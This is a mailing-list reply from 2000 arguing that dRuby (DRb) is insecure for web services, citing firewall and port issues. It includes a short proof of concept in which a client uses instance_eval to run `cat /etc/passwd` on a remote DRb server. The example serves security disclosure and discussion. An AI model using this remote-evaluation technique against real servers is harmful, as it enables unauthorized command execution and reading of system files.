[ruby-talk:8329] Re: Ruby cron scheduler for NT available

Hi Dave,

> From: Dave Thomas
> Sent: Friday, December 29, 2000 11:07 PM

> > As a Web Service(TM), dRuby seems too insecure to this
> > purpose.
> 
> Thant's a surprising statement. Has anyone come up with any examples
> of ways in which a dRB server could be insecure?

exit unless "anyone".include?( NaHi )

2 points.

1. Firewall problem.

  1-1.  At this time, DRb could not be narrowed down
    to use only 1 port.  DRb requires;
      - inbound: to ruby script, from any ip and any port
      - outbound: from ruby script, to any ip and any port
    But Seki-san plans to support this feature in DRb/2.0
    according to
    http://www.jin.gr.jp/~nahi/RWiki/?cmd=view&name=dRuby%B3%AB%C8%AF%C8%C7
    (Sorry, in Japanese.)

  1-2. Firewall products does not know any of Ruby's
    marshaling format that dRuby use.  So we cannot set
    any security policy to firewall.


2. Ruby's flexibility

  Try it.  Server side.

    require 'drb'

    class TestServer
      def doit
        "Hello, Distributed World"
      end
    end

    aServerObject = TestServer.new
    DRb.start_service('druby://localhost:9000', aServerObject)
    DRb.thread.join # Don't exit just yet!

  And Client side.

    require 'drb'
    DRb.start_service()
    obj = DRbObject.new(nil, 'druby://localhost:9000')
    # Now use obj
    p obj.doit
    p obj.instance_eval { p `cat /etc/passwd` }

  But Seki-san plans to support $SAFE based capability
  system in DRb/1.4.  You can avoid this type of flaw
  using ARb in http://www2a.biglobe.ne.jp/~seki/ruby/arb-0.4.tar.gz
  (Bare in mind it is not officially released now.)


I do NOT think that "dRuby is insecure, and SOAP (or
RMI or DCE/ONC RPC) is secure."  For Web Service(TM),
at this time, considering integration of other
techniques I can use, dRuby seems insecure.

// NaHi